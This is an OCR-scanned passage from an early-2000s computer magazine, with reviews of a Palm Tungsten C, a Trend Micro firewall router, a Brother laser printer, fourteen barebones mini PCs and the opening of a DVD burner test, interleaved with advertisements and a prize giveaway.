channels. Another quirk is that the browser can't display pop-up 
windows: great for banishing annoying adverts, less so for sites using 
pop-ups for content. 

The VersaMail 2.5 email client allows up to eight POP3 and IMAP 
accounts, works with Exchange servers and syncs against your desktop 
mail program. It also permits incoming and outbound file attachments. 

The likelihood of extensive emailing makes the C's keyboard 
a necessity. With a comfortable feel, good key travel and sensible 
function key modifiers, all that's missing is a backlight. 

GRAFFITI 2 

Running Palm OS v5.2.1, the C introduces Palm's Graffiti 2 handwriting 
system. This lowers the learning curve for newcomers with a more 
natural "alphabet" for drawing letters but, due to the greater number 
of characters in requiring two strokes of the stylus, will challenge 
long-time Palm loyalists. 

Smaller OS tweaks include an improved Preferences panel and a 
range of colour schemes, including a "Classic" theme which uses the 
green-and-black of the earliest Palms. 

The Tungsten C's screen uses the same vivid transflective display 
technology as most Pocket PCs. The crisper colours and cleaner whites 
take the shine off the Tungsten T's still-great panel, although the 
screen has a slight blue cast and can't match the lush displays of iPAQ's 
Pocket PC 5450 and 1910 models. 

There are, however, several bad calls in the audio department. 

Palm stuck with the same 2.5mm port as the PDA-cellphone Tungsten 
W model (on which the C is largely based), which was intended for a 
hands-free phone headset, instead of the standard 3.5mm headphone 
jack. And even if you fit an adaptor, you'll discover the C's audio 
output is mono. And while the 
C includes Palm's voice memo 
software, it doesn't have an 
in-built microphone. 

The hard plastic chassis is light 
yet solid with a silver patina. 

The excellent software 
bundle includes a photo viewer. 

Documents To Go 5.0 pre-loaded 
in ROM, Kinoma Producer SE 
for playing video clips and the 
WorldMate travel suite. 

David Flynn 






















New OKI Digital Colour Series 


HAW 



Fastest in its class! 



Introducing the new OKI C5000 Series, digital LED colour and mono range of printers. At blistering speeds 
of 12 pages per minute (ppm) in colour, it makes the OKI C5000 series three times faster than competing 
printers in it’s class. Combine these speeds with a design to perform in the most demanding environments, 
the new series offers end-users high productivity, low colour and mono cost per page, a compact footprint, 
and network connectivity all at an affordable price point. Not only is the new OKI C5000 a showroom 
shaker, it is also the high-speed, high-performance printer of choice. 


Csioon 

• Full digital colour A4 printing at 12ppm 

• Mono A4 printing at 20ppm 

• Suitable for network printing 

• 32MB RAM standard - upgradable 
to 288MB 

• True 600 X 1200dpi quality 

• 200MHz processor 

• Auto colour balance for lifetime 
colour consistency 


C 530 on 

• Full digital colour A4 printing at 12ppm 

• Mono A4 printing at 2 oppm 

• Suitable for network printing 

• 64MB RAM standard - upgradable to 320MB 

• True 600 x1200dpi quality 

• 400MHz processor 

• Oki print management utilities 

• Auto colour balance for lifetime 
colour consistency 


^CISOOD 

OKI 

1800 800 140 
www.oki.com.au 
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Contact Brother industries 

Phone (02198874344 


Tru&tij ga1-p 

The GateLock X200 does a solid job of protecting 
your PC from viruses, Trojans and hackers. 

Without the proper precautions, your broadband 
Internet connection lays out the welcome mat for 
users worldwide to access your computer, or other 
PCs on your network. 

Trend Micro's GateLock X200 swaps the welcome 
mat for a "No entry" sign. This Internet firewall and 
router sits between your computer and a cable or 
ADSL modem, with additional security features to 
safeguard surfing the Net. It can also restrict access 
to certain sites and addresses via user-defined 
outbound traffic rules. 

Installation couldn't be easier. There's a 
built-in DHCP server, and it's configured via a 
browser interface. The set-up pages allow you to 
specify the device's MAC address and host name if 
your ISP requires these to be set. 

Trend Micro has traditionally been a significant 
player in antivirus software, so it's no surprise that 
the GateLock is capable of scanning for viruses and 
Trojans in the data passing through it. This includes 
the scanning of email attachments less than 2MB 


Big Brother 

The latest monochrome laser printer from 




Brother is perfect for the busy SME. 


✓ 

n 


$2,499 : , ■ - 

taexpensive to buy. 





Multifunction and personal inkjet solutions have 
blunted some of the monochrome laser printer's 
appeal. But for high volume printing, a laser printer 
remains faster and cheaper to run. 

Rated as a 28ppm monochrome laser 
printer, the Brother HL-7050N flies like the wind. 
The basic unit is a chunky piece of equipment 
weighing 24kg, and has the ability to build 
up and out from the base with a 
host of optional paper input and 
output trays, casters for mobility 
and a duplexer. 

However, it can still fit nicely on a 
desktop as a standalone printer. 

The standard paper tray carries 600 
sheets and the printer will connect to parallel, 
serial and USB ports. Network connectivity 
was a snap once DHCP had been enabled, 
although it could be tricky if you're unfamiliar 
with your network. 

The HL-7050N's best output is 1,200dpi, 
which proved much too strong for graphical 


GateLock X200 


in size — when you send or receive an email larger 
than 2MB, the recipient will receive notification 
that the gateway could not scan for viruses and any 
attachments could carry an infection. 

By default, the scan engine, virus definitions and 
router software version are checked every 24 hours, 
and automatically updated if needed. 

The firewall blocks ports if an intrusion has been 
detected, with the option to log all intrusions and 
notify you of them via email. 

The GateLock quickly detected our barrage 
of port scans, sent email notifications, and 
momentarily blocked the ports to prevent intrusion. 
Unfortunately, ports being legitimately used for IRC, 
HTTP and ICQ sessions were also blocked for up to 
30 seconds. The upside of this is that you'll know if 
any Trojans lodged inside your PC are attempting to 
establish outbound communications. 

Another disappointment is that the device 
comes pre-configured with an IP address in the Class 
C private IP range, with no option to change it. That 
said, the Web interface is overall easy to use and the 
device performs solidly. 

JarrodSpiga 


Brother HL-7050N 


work; the default resolution is 600dpi and 
appeared to be more balanced than the 300dpi 
draft setting. Hard copy at 300dpi was just 
too faint. 

Those concerned with costs will be pleased 
that there's a toner save mode of operation — a 
good compromise between running print jobs at 
600dpi and 300dpi. There's no speed difference 
when running these two resolutions, except with 
graphical images, that may delay the output by a 
second or two. 

In all instances the test prints were quickly 
executed. For instance, it took only 36 seconds for 
a 12 page mixed text and graphics Word document 
to print, and a similar amount of time for a 12-slide 
PowerPoint presentation. 

Office workgroups with substantial document 
loads will appreciate the HL-7050N. The unit's 
speed is its main attraction and its low cost per 
page (which Brother states is 0.8 cents for the 
first 40,000 pages) is a pittance. Though it can 
be purchased as a standalone for $1,999, at 
$2,499 the networked version is more likely to 
attract buyers. 

David Lin 

















Always 

Two Steps Ahead* 

si Twinhead stays ahead of the competition to bring you the best from the 

( frontline of notebook technology. 

Introducing the efio!2600 series, Mobile Intel® Pentium® 4 portable 
powerhouses armed with spill-proof keyboards and Impax Protection 
' Technology. Some added assurance useful for unexpected surprises that 

^ come your way... 


Features 

• Impax Protection 

• Spill-Proof Keyboard 
Bluetooth Slot 
GPRS Slot 
Firewire Port 

USB 2.0 

WiFidEEE 802.11b) Slot 
Military Standard 81OE 
Weighs only 2.43kg 

impax® 


intiead 

• The Notebook Specialist 

'jf www.twinhead.com.au 


efio! 

2600 

series 


Exclusively Distributed by: Twin Resources Pty Ltd PO Box 249 Moonee Ponds VIC 3039 Tel: (03) 9375 3545 Fax: (03) 9375 1383 

TWinhead International Offices : USA* UK* Germany * France * Taiwan * China 


Notebook Manufacturer Since 1986 

Twinhead, IMPAX and Two Steps Ahead are registered trademark of Twinhead Corporation-All registered trademarks and logos are the property of fheir respective owners. 








VALUED AT OVER 

$15,000 


apc’s 

Massive 


product giveaway 

Your chance to win one of 38 products 

_Compliments of ISWH and City Software 


THESE PRIZES INCLUDE 



Retrospect Backup 6.0 (Single Server Pack) 

$1,507 


CA BrightStor ARCserve Backup 9.0 

$1,299 



offlce^P 

Professional 



Microsoft Office XP Professional 

$1,288 


CorelDRAW Graphics Suite 11 

$1,175 



Adobe Acrobat 6.0 Professional 

$949 



Microsoft Windows XP 
Professional 

$675 



LaCie 40GB portable hard drive 
(supports USB2.0and FireWire) 

$539 


% 


$869 


FileMaker 


$600 



Extensis Portfolio 6 

$515 































Dive into this fantastic prize pool of software and hardware 
worth over $15,000 — compliments of APC magazine, 
City Software and International Software Warehouse. 


$299 


$327 


AG! 


$418 



Microsoft Wireless Opticai Desktop 
(wireless keyboard and mouse) 

$199.95 



City Software 
is proud to be 
associated with 
APC magazine 
for over 11 years. 


In this time City Software has grown to become 
one of the largest software retailers in Australia. 
In March 2001, City Software purchased Sydney- 
based International Software Warehouse 
(ISWH), expanding City Software's business from 
predominantly software to include an extensive 
hardware and consumables range. Combined, 
City Software and ISWH offer the best of 
both worlds: specialised advice and a huge 
product offering 
on hardware 
and software 
solutions. 





Internet Security 


$199 $169.95 


$149.95 



PLUS MORE 


Norton SystemWorks 2003 

$149.95 


PowerQuest PartitionMagic 8.0 

$149.95 


Microsoft Rise of Nations 

$99.95 


PartitionMagic 


SystemWorl^’ 


■ Microsoft Office for Mac V.x 

■ NetObjects Fusion 





■ Microsoft Freelancei 

■ FileMaker Mobile 

■ Microsoft Money 20> 


Microsoft Age of Mythology 
PowerQuest Drive Image 


TO ENTER VISIT 

www.apcmag.com/apcgiveaway 

and register today for your chance to win! 

Compliments of ISWH & City Software 
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The> bare^ 

e>£>spn1-ialE> 

A mini PC doesn't have to mean mini performance. 

Paul Robinson and Matt Overington take a look at 14 
of the latest barebones computers. 

Not everyone has the space to fit a computer tower on their desk. With 
living areas shrinking in many countries, people are opting for laptops 
because they can be easily packed away, thus freeing up valuable real 
estate. The dwindling size of local inner city units — though not as 
extreme as overseas - - is forcing some to look for cheaper alternatives 
to midi towers which don't have laptop-esque price tags. 

Enter the mini PC. We've rounded up 14 of the latest barebones 
systems from the Intel and AMD camps to test their functionality, 
looks and performance. Based on the Flex-ATX or micro-ATX form 
factor, motherboard manufacturers bundle miniature motherboards 
with small and often very stylish cases into a package known as a 
barebones system. 

Shrinking these cases down involves many feats of engineering 
— not just to fit components made for larger PCs into a micro-sized 
case, but also to deal with the heat issues associated with confined 
spaces. It's often the case that the smaller the PC box, the more 
extravagant the cooling system — some manufacturers use radiators 
and high-density copper heat sinks to suck as much heat out of the 
system as possible. 

The prices for the majority of these systems are higher than your 
standard case and motherboard combination. There are many reasons 
for this, including: the use of aluminium in the chassis; copper heat 
sinks; unique radiator designs; and the fact that it's a niche market at 
the moment that doesn't have the same market share, or low cost of 
production, as the standard midi tower case and ATX motherboard. 

But if you're short of space in your home you'd probably not mind 
paying a bit more for the reduced desk footprint and portability of 
these systems. 




We tested Intel and AMD systems and decided to avoid any direct 
comparisons between the two camps. For this reason, we have two 
Editor's Choice awards — one for the best Intel system and one for 
the best AMD system. All systems used 256MB of DDR400 RAM and 
80GB Maxtor hard drives. Intel systems were tested with a 2.4GHz 
P4, while AMD systems were tested with an Athlon 3000+ which was 
clocked down to a 2100+ as the majority of AMD systems could not 
support the higher frontside bus (FSB). 

The benchmarks used for this Labs Challenge include 
SYSmark2002, Winstone 2002 (Business package), PCMark and 
WinBench 99.3D performance was tested with our usual 
Quake 3 demo test at 640 x 480 and 1,024 x 768 resolutions. 



Soltek "• 

QBIC z3000M 



The QBIC seems to roll all the good points of every other P4 system 
tested into one case. The unconventional, mirrored front faceplate and 
the brushed aluminium cover create a crisp, clean design. A blue power 
LED and a red hard disk LED add to the head-turning ability of this case. 
Rounded internal edges ensure minimal chance of injury 
when inserting or removing hardware. 

Capable of housing two external 5.25 drives, one 
external 3.5 drive and an internal 3.5 drive, the QBIC 
:an meet all your storage needs. To cope with such a 
large number of drives the QBIC is equipped with a 200W 
power supply that easily handles the load of a full case. 

Apart from the initial system build, you are unlikely to ever need 
a screwdriver when working on this case as even the expansion slots 
have thumbscrews to hold the cards in place. 

Three FireWire ports and two USB 2.0 ports on the front plate and 
a further four USB 2.0 ports on the rear panel ensure the case will meet 
any expansion requirements. The audio capabilities are also top notch; 
5.1 sound is available on the rear of the system and the front panel 
sports headphone and mic Jacks, as well as two optical SPDIF Jacks for 
high-quality sound. 

Cooling is taken care of by side ventilation holes and an 80mm 
fan mounted on the back of the case. Just above the CPU. With a 
533MHzfrontside bus, the QBIC supports Hyperthreading-capable 
CPUs. AGP overheating woes are avoided thanks to the gap between 
the graphics card and the case, which allows for adequate airflow. 

Many of the side ventilation holes are located next to the AGP slot to 
ensure a constant supply of cool 
air. About the only complaint 
we had is the lack of onboard 
TV-out capability. 

When coupled with a 
high-end CPU and a high-end 
AGP video card with TV-out, 
the Soltek QBIC is powerful 
enough to handle the 
latest games with blistering 
performance and still remain 
quiet enough to function 
as a very good home 
theatre system. 





































Shuttle 

SNMICjc^ 


AMDCI^ 

Athlon 


ASUS 

Pundit- 



Shuttle has focused heavily on the small form factor PC in recent years, 
and has an extensive catalogue of barebones systems to suit a number 
of budgets and processors. The SN41G2 is its latest AMD-based 
offering, and supports processors up to Athlon XP 3000-1-. 

It's obvious that a lot of thought has been put into the 
design of the SN41G2, and plenty has been packed 
into a small space. The unit features two DDR SDRAM 
slots, FireWire, USB 2.0, Ethernet, SPDIF audio sockets, 
and both PCI and AGP slots. 

The SN41G2 is capable of accommodating up to two 
3.5in drives (either two hard disks, or a hard disk and a floppy drive), 
and a single 5.25in drive. All IDE cables are routed through clips from 
the motherboard around the side of the drives, away from the path 
of any moving air. 

Shuttle has devised an ingenious cooling system for its small 
form factor PCs called the Integrated Cooling Engine (ICE). 
Conductive pipes transfer CPU heat from the top of the processor 
to a radiator at the back of the case. The radiator is enclosed on all 
sides, with a fan at the top and vent at the bottom, to drain excess 
heat from the rear of the system. 

In operation, the ICE system worked flawlessly, and did a 
commendable job of keeping our AMD's internal organs at a stable 
temperature. The sleek, brushed aluminium enclosure also helps the 
SN41G2 to keep cool. 

The SN41G2 is based on nVidia's Nforce2 chipset, which led the 
Shuttle unit to post a 3Dmark 2001 Pro score of Just over 3,000. While 
this isn't lightning fast, it means that the SN41G2 will still be able to 
keep up with many 3D games. 

We threw in a 128MB Radeon 
9700 as a quick test and 
managed a score of 12,954 
under 3Dmark 2001 Pro. 

As an all-round PC,theSN41G2 
is hard to fault. It'd be at home 
in a living room driving a home 
entertainment system, on a desk 
as an everyday workstation or 
portable LAN gaming box, or in a 
cupboard as a low-end file server. 


1 Details 


1 Contact 

Sato Technology 

1 Ontlne 

(03) 98?y 6333 [ 

iww.satotech.com.au 

Price 

$740 

E 

Looks great, works 
just as well. 

n 

Small power supply. 

K 

—m 


The Pundit P4 system is given an honourable mention due to the 
massive amount of functionality ASUS has managed to pack into this 
tiny case. This vertically oriented case has many features that would 
normally be found in a laptop. 

Opening the front panel reveals an array of ports, slots and audio 
Jacks. The front panel provides easy access to two USB 2.0 ports, 
two FireWire ports, standard audio Jacks for headphones and a 
microphone, optical input and output Jacks, a four-in-one card reader 
and a PCMCIA slot. 

The last two features are what make the Pundit stand out above 
the rest of the pack. The four-in-one card reader is able to read 
Multimedia Cards, Smart Media, Secure Digital and Sony Memory 
Sticks, which makes the Pundit your one stop memory stick shop. 

A PC Card makes adding a card, such as a wireiess network card, 
much simpler. 

The back plate provides two TV-out ports for both RCA and S-Video 
connectors, 5.1 audio Jacks, a SPDIF digital audio optical Jack and DVI- 
out. There is also space for two PCI expansion cards on a riser card 
which is mounted into a single PCI slot. 

This tiny case has overcome the typical heat problems associated 
with the poor ventilation of small systems. The CPU heat sink has a 
shrouded fan, which sits flush with the side panel. The side panel has 
a number of ventilation holes next to the heat sink that allow the fan 
to suck cool air directly into the case and onto the heat sink fins. With 
no chance for the air to heat up over other components such as the 
hard drive, the CPU is kept cooler than most other barebones systems 
tested. Having the CPU fan next to ventilation holes can be noisy, 
but ASUS has implemented a 
variable speed fan which only 
reaches its maximum speed 
under heavy loads. 

With respectable benchmark 
results for business applications 
and the professional-looking 
case, the Pundit is more suited 
to office iife or as a home PC 
as its less-than-impressive 3D 
performance rules it out from 
running high-end games. 


Details 
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PCMCIA slot: four-in- [ 

Mediocre graphics .' 
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AOpen 

Hz3MO 


AMDn 

Athlon 
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Our first impression of this plain beige steel case wasn't exactly exciting, 
but once we looked inside we changed our minds. The nForce chipset 
provides serious 3D grunt thanks to the GeForce 4 MX inbuilt video 
adaptor. This power was evident in benchmarking by producing 
Quake 3 frame rates of 148.6 fps at 640 x 480 and 84.5 fps at 1,024 x 768. 

The MK79G motherboard 
is packed with three PCI 
slots, one AGP and one AMR 
slot. However, due to the low 
profile of the H340,full height 
cpansion cards are out of the 
ition. Half-height cards should fit 
t an issue, but be sure to check 

AOpen 

Hz3i-IOH BIcaczk Series. 




AOpen is clearly not devoting enough resources to the mini PC 

barebones system market. While the black 
and silver case looks quite slick, owners 
" will still be stuck measuring any expansion 
card they want to add to ensure they fit in 
the system vertically. 

Like the AOpen H340 beige unit, 
i;; the Black is also capable of vertical 
I’ positioning after moving the detachable 
feet to the side of the case. 

Ill The front USB 2.0 and audio jacks are 
> hidden behind a fold-down cover, as is the 
^ ~ floppy drive and CD/DVD drive. This gives 

a more polished, professional look to the 
case when compared to the beige model. 


ASUS. 

ProdlQij 


After reviewing the ASUS Pundit, the Prodigy seems like a desktop 
PC that has been cut in half. While ASUS has done a remarkable 
job in shrinking the height of the system, this P4 still has the same 
sort of footprint as your average Compaq desktop PC for example. 
Fortunately, the system can be mounted vertically to reduce 
the footprint. 



With two PC2100 
DDR memory slots, a 
165W power supply 
and four USB 1.1 ports, 
the lack of standard 
components doesn't leave 
the best impression. One saving 
grace is the inclusion of a TV out port 


the height before purchasing any add-on cards. 

The H340/MK79G combination provides a total of six USB 2.0 
ports, with two located on the front in a concealed compartment 
along with audio in and out jacks. Yet with the inclusion of so many 
USB ports it was surprising to 
find no trace of FireWire. 

The case is rather large and 
occupies a considerable amount 
of desk space. Thankfully, feet 
can be mounted, allowing for 
the case to be placed vertically 
and freeing up valuable space. 

While the beige case is suited to 
office environments, the case is 
also available in the H340 Black 
series for those who prefer a 
more stylish look. 



The MX4GER has four USB 2.0 ports on the motherboard 
mounted at the back, along with the standard NIC socket. Yet 
again, there were no signs of any FireWire ports, leaving owners 
with the joy of hunting down a half height PCI card if they have 
any FireWire devices. 

The system performed 
quite well in benchmarking, 
particularly with business 
applications, scoring an above 
average 25.3 on the Business 
Winstone 2002 test. 

Taking a leaf from companies 
such as Apple, Compaq and Dell, 
the ASUS H340 case has fold-out 
drive bays. This saves your wrists 
as you don't need to unscrew 
the top level of the drive bays to 
reach the hard drive mount. 
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AGP slot. 
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perdlci 

Half height -■ — ^ 
expansion slots. ^ 
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on the rear of the system, but this can't make up for the lack of 
USB 2.0 or FireWire ports. 

The green thermal compound used on the heat sink is called 
thermal grease, but as we discovered, it could more aptly be named 
thermal glue. After benchmarking the system and dismantling 
the unit, the time came to remove the heat sink and CPU from the 
motherboard. The process was 
suddenly streamlined for us 
when, while removing the heat 
sink, we were shocked to find 
that the CPU came off with it. 

Thankfully the CPU was not 
damaged in the process, but 
the experience and subsequent 
effort involved in separating 
the CPU from the heat sink 
raised many an eyebrow 
around the lab. 
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I Contact 

Cassa 

Phone 

107) 32861599 [ 

^iine 

www.cassa.com.au 

Price 

$363 1 
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0ood price. J 
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USB l.lt no FireWire. | 
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Chij^ng F-un 

e»No1-e“ 

The P4 eNote is the barest of barebones offerings from Chyang Fun. 
With a horizontal profile, this system requires more desk space than the 
eCube (see below). Despite being made 
of aluminium, the eNote is heavier than 
the eCube because of its thicker case. 

The eNote is aimed more at users 
who want a snazzy looking mini 
desktop, rather than gamers. This 
is also evident when inspecting the 
motherboard. There is only one PCI 
slot for expandability, with no trace of 
n AGP slot. The sound capabilities are also 
geared towards a relatively sedate desktop with 
only 2.1 sound supported by the onboard chipset. 



Moreover, the IDE channels are capable of ATA100, reducing the 
performance of any new drive. The power supply is quite ordinary 
too, providing a meagre 150W of power to the system. This is 
probably a wise choice given the lack of ventilation in the case. 

It was disappointing to see 
the lack ofthought put into 
the placement of the front 
USB ports — they're so deeply 
embedded within the case that 
many USB memory keys won't 
fit without the use of a USB 
extension cord. 

In short, the eNote's good 
looks just aren't able to make 
up for the bare minimum 
offering of the motherboard 
and the lack of forethought 
with the case design. 


1 Details 
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www.saeba.com 
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Chgang F-un 

e*Note> 

Chyang Fun also offers the aluminium eNote with an AMD-compatible 
motherboard. The CFI-S76 motherboard 
I provides two PC2100 DDR memory 
slots for a maximum of 2GB of RAM. 

The AMD version has the same 
number of USB 2.0 ports as the Pentium 
system, with two at the front and two on 
the rear panel, and also includes three 
FireWire ports with one on the front and 
..... two on the rear ofthe system. All the 

'■ ports on the front panel are still deeply 

i set in the perspex facia, so USB devices 

! ^ ^ may still suffer the same problems that the P4 

1 jt' system did with large USB memory keys. 


The audio has been improved on the AMD offering with 4.1 audio 
instead of the 2.1 audio solution found on the P4 eNote. The eNote's 
graphics capability is set in stone with no AGP slot to allow for a third- 
party graphics adaptor. 

AMD's generally run hotter than Pentium systems, and we were 
concerned about the effectiveness ofthe cross flow fan used to 
push hot air out ofthe case. Despite this, we didn't encounter any 
heating problems — although 
the system was tested in an air 
conditioned room. 

Benchmark results 
were favourable: the eNote 
performed almost as well as 
the Gigabyte G-max, in fact it 
outperformed the G-max on 
the Winstone 2002 and PC Mark 
tests with scores of 26.2 and 
5,092 for the PC CPU Mark. 



Chgang F-un M 

e»CubG> " 

At first glance, Chyang Fun seemed to have put much thought into the 
functionality of this super-light aluminium case, as evidenced by the 
inclusion of an ergonomic, sturdy handle for easy transportation. However, 
once the P4 CF-S96 motherboard was inspected, we changed our minds. 

Chyang Fun placed the AGP slot right 
up against the Perspex window. 
While placing the video card 
closer to the window may make 
the system look more appealing, it 
doesn't do the system any favours 
when it comes to cooling. 

When a Leadtek Ti4200 was 
added and the case replaced, the 
system was lucky to last 30 seconds 



before the video card was overheating and producing a garbled 
display. Those planning on purchasing this otherwise impressive 
case with a third party video card should consider taking a drill to the 
Perspex window or be prepared to run the system with the side off. 

Cooling issues were the 
most likely cause for the poor 
benchmarking results —130 
inSYSmark2002and15.7in 
Winstone 2002. 

The test system was supplied 
with twin blue neon cold 
cathode lights and an AOpen 
CD-RW drive, extras that aren't 
included in the retail price. With 
a 220W PSU, as well as USB 2.0, 

FireWire and optical audio ports 
on the front, this case will meet 
many gamers' needs. 
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O-Max r^BzBOSE: 


This AMD-powered barebones system has a footprint of 428 x 326mm 
. and was the largest mini PC we tested. Given its 
; size, most people would be tempted to place their 
! monitor on top of the case to save space. This 
;; would be fine if not for the large ventilation grill 
; on the top of the case. For this reason It's best 
to use the cradle provided to seat the case in a 
vertical position. 

The interchangeable face plate gives a splash 
of colour and helps lift the case from its otherwise 
beige dullness. The G-Max systems are sold with 
floppy and CD/DVD drives, which should be considered 
when comparing prices. Two FireWire ports are provided 


via the PCI expansion card, and a four-pin FireWire port is located on 
the front panel. With one PCI slot used by the FireWire card, there are 
two PCI slots free for use with other cards, along with an AGP slot for 


beefing up the 3D performance. 

The onboard ProSavage 
video adaptor provides more 
than adequate 3D performance, 
with Quake 3 scores of 123fps 
at 640 X 480, beating many of 
the 2.4GHz Intel systems.The 
system also performed well 
on SYSmark2002 with a score 
of 170, the fastest of all AMD 
systems tested. 

Overall, this G-Max is 
quite a powerful system for a 
reasonable price. 


1 Details 
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This G-Max ships with a floppy drive and DVD player bundled into 
the price. A lower spec model is available with 
a CD-ROM instead of a DVD drive for price¬ 
conscious environments such as office rollouts, 
j It was disappointing to see that Gigabyte was 
unable to provide FireWire for its P4 products, 
with only two front and two back USB 2.0 ports 
1 available for connecting third-party devices. 
Enclosed in the same case as the AMD 
G-Max, you'll probably want to keep this case in 
a vertical position to save desk space. 

The same choice of interchangeable 
faceplates is available to break up the beige 
monotony of the rest of the case. 


The GA-8GEM667K motherboard has three PCI slots and one AGP 
slot for expansion cards, but because of the low height of the case, 
owners will have to search for half height expansion cards. 

Benchmarking results were impressive. Quake 3 scored 61.2fps 
at 1,024 X 768, placing it in third position. This is not bad going 


considering it's powered by 
the same base model onboard 
i845G graphics chipset as many 
of the other systems tested and 
managed to outperform almost 
all of them. 

This G-Max also clocked 
the highest SYSmark2002 and 
Winstone 2002 scores of 225 
and 27.5 respectively, making 
this system a strong performer 
in both business and game 
applications. 



IWILL 

XPM-O 


This aluminium case is extremely light, even when compared to other 
cases made from the same material. This is because the power supply 
is also made out of aluminium. IWILL has managed to make the chassis 
very thin without compromising the structural integrity. This was the 
smallest case we tested. 

The price for producing a case 
I this small is compromise. The XP4 is 
,• * I equipped with only one memory slot 

J and one PCI slot, leaving the system 
I with no AGP capability. The XP4 is 
j” yet another system that doesn't 
comeequipped with FireWire. 

' .However, the motherboard's support 

for Hyperthreading makes up for these 



shortcomings. It was also a strong performer in benchmarking. While 
not the fastest system, it was consistently near the front of the pack 
with the second-highest Quake 3 score of 127.5fps at 640 x 480, and a 
SYSmark2002 rating of 217 (fourth highest of the P4 systems). 

This barebones system is one of the cheapest tested, although this 


is reflected in the finish of the 
case. Aluminium is renowned for 
producing sharper edges than 
your average steel case and most 
case manufacturers go to great 
lengths to ensure all edges are 
rounded. Many of the edges on 
the XP4 are rounded but there 
are still a number of surfaces that 
the uncoordinated or unlucky 
could come to grief on. 

In short, this is a good, small 
system for the money. 


1 Details 
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WHO HAS THE INDUSTRY'S FASTEST, 
MOST COMPLETE LINE OF DVD? 


When it comes to recording on DVD, faster is better. 
And no one lets you record faster than Verbatim. 
With write speeds now 4x and soon to be higher, 
our DataLifePlus™ DVD discs are the ideal media 
to store all kinds of exciting DVD content. 

Surprised? Don't be. 

Verbatim's technical leadership and superior 
manufacturing capabilities ensure we are first to 
market with new DVD products at the fastest 
speeds with guaranteed drive compatibility. 


That's why Verbatim is the preferred DVD 
media choice of OEMs and PC manufacturers 
worldwide. 

What's more. Verbatim offers the industry's 
most complete line of DVD formats, in a wide 
range of packaging for both home video and 
data storage applications. All backed by a 
Lifetime Warranty. 

So next time you're thinking about DVD, think 
Verbatim. Because faster... is better. 



WWW. verbatim .com .au 


\ferbatim . 

Verbatim Australia, 1 Weir Street, Glen Iris3146, VIC, Australia 
t: (03> 9823 0999 f: (03) 9824 7011 •: infoOverbatim.com.au 


For more information, call us on (03) 9823 0999 or email clvd@verbatim.com.au 
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As a budget barebones system, the Hermes packs many of features into a 
small case. If you can overlook the relatively bland case design, opening 
the front panel reveals standard audio in and out jacks, as well as an 
SPDIF optical jack, four USB 2.0 ports and a four-pin FireWire port. There 
is also an optional module which can be added for $30 containing two 
PCMCIA card slots and a Sony memory 
stick reader. The back of the 
se has two USB 2.0 ports, 

I six-pin FireWire port, 
ix channel audio 
id an onboard lOOMBs 
twork adaptor, 
he Hermes is a bit long in the 


tooth and its motherboard specifications reflect this. 

With a maximum FSB speed ofAOOMHz, the fastest processor that 
the Hermes can handle is the 2.4GHz P4 we tested with. The 
motherboard has one PCI slot which is then converted to two PCI 
slots via the riser card. 

MSI has a specialised cooling 
system for the low profile of 
the case. Instead of relying on 
the bulky OEM P4 heatsinks, 
a low height, high density 
copper heatsink sits over the 
CPU with four screws fastening 
it to the motherboard. A 30mm 
fan on the heatsink sucks cool 
air in from outside, and two 
fans on the side of the case blow 
out hot air. 




































barebones systems 


£»hume» 


The SB52G2 is aimed at a different market to most of the other machines 
in this roundup. In addition to providing support for a Hyperthreaded 
Pentium 4 CPU, DDR SDRAM running at 333MHz, and two internal PCI 
cards, the FB52 motherboard 
features both gigabit and 
100-base LAN ports. This 
makes it suitable for life as a 
router or gateway machine 
on a home or office network. 

TheSB52G2 is well built, 
and close attention has 
been paid to fine details like 
front-mounted USB and audio ports. 



Like the AMD-based Shuttle unit, the SB52G2 — which we 
reviewed recently {APC May, page 36) — also makes use of the 
Integrated Cooling Engine (ICE) to reduce the ambient heat 
inside the case. 

The Shuttle screamed along under SYSmark2002, obtaining ar 
impressive Internet Content 
Creation score of 294, which 
was supported by an Office 
Productivity score of 155. 

At the heart of the 
motherboard is Intel's 845G 
chipset, which provides modest 
3D performance. Under 3Dmark 
2001 Pro,theSB52G2 managed 
a score of 1352, which was well 
below the bar set by the 
Nforce-based systems. 
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Burn 

to be wild 

If CDs are too puny for your data storage needs, 
step into the realm of DVD writing. iorrodSp/ga 
tests six of the latest internal DVD burners. 




Whether you want to upgrade your current PC, or are planning a 
new system, it's hard to resist a DVD burner. With drive prices as 
low as $595, and media under the $10 mark, DVD writers are quite 
desirable items. 

All of the DVD drives tested in this round-up can read or write to all 
formats and all media types, with the exception of DVD-RAM, which is 
no great loss. The main advantage of DVD-RAM is packet writing mode, 
which means files can be written to the disc one at a time (just like a 
floppy or Zip disk) rather than a single all-at-once session. 

Now that the t-RW and -RW formats also support packet writing, 
the writing is on the wall for DVD-RAM. Of the two companies 
which championed the format, Hitachi is no longer shipping 
DVD-RAM drives for the local market, while Panasonic is having 
a dollar each way with a range of drives that support both 
DVD-RAM and DVD-RW. 


Plextor 

PX-^OMA 




Our test bench was a Gigabyte 
GA8KNXP motherboard fitted 
with a Pentium 4 3.0GHz 
CPU running at 800MHz FSB 
;'<Hyperthreading enabled), 
512MB of Kingston HyperX 
400MHz DDR memory. Gigabyte 
GV-9700Pro AGP card and a 
Maxtor DiamondMax Plus 9 
120GB hard diskdrive set upon 
the Primary IDE interface. 

Drives under test were 
connected as the sole drive on 
the Secondary IDE interface. 

Our system ran Windows XP 
Professional with Service Pack 1 
and Microsoft's Hyperthreading 
pre-SP2 patches installed. 

For consistency we 
standardised on Verbatim-brand 
DVD-R, DVD+R, DVD-RW and 
DVD-r-RW media. We first created 
4.27GB image (containing a 
of software, music, video 
clips and general data 
files) using Nero Burning 


ROM 5.5.10.20, then timed how 
long it took to burn this image to 
DVD-/-^R and DVD-/-tRW formats 
at each drive's maximum speed. 

DVD read performance was 
measured using Nero CD Speed 
v1.02e. We tested DVD-ROM read 
performance with the APC DVD 
to obtain transfer rates and 
access times for all drives. We 
also tested DVD-R, DVD-RW, 
DVD-hR and DVD-tRW media 
containing the same data in 
all drives to check for 
compatibility. 

CD read performance 
was tested using the same 
application, reading from a 
compiled 70 minute audio 
CD. We obtained the same 
data for CD read performance 
that we did for DVD, with 
the addition of results from 
the audio extraction tests 
that the benchmarking 
application runs. 


There was a time when Plextor drives were the king of all CD 
recordable drives and judging from our test results, the PX-504A 

continues this tradition. Our write tests indicated that this 
drive is the fastest of all internal drives tested, burning our 
_ DVD-hR in just under 14 minutes at 4x. 

Our rewritable test DVD was burnt in just over 23 
minutes at 2.4x, which was significantly quicker than 
any other drive we tested. The read performance of this drive 
than adequate — our benchmarks showed that the 
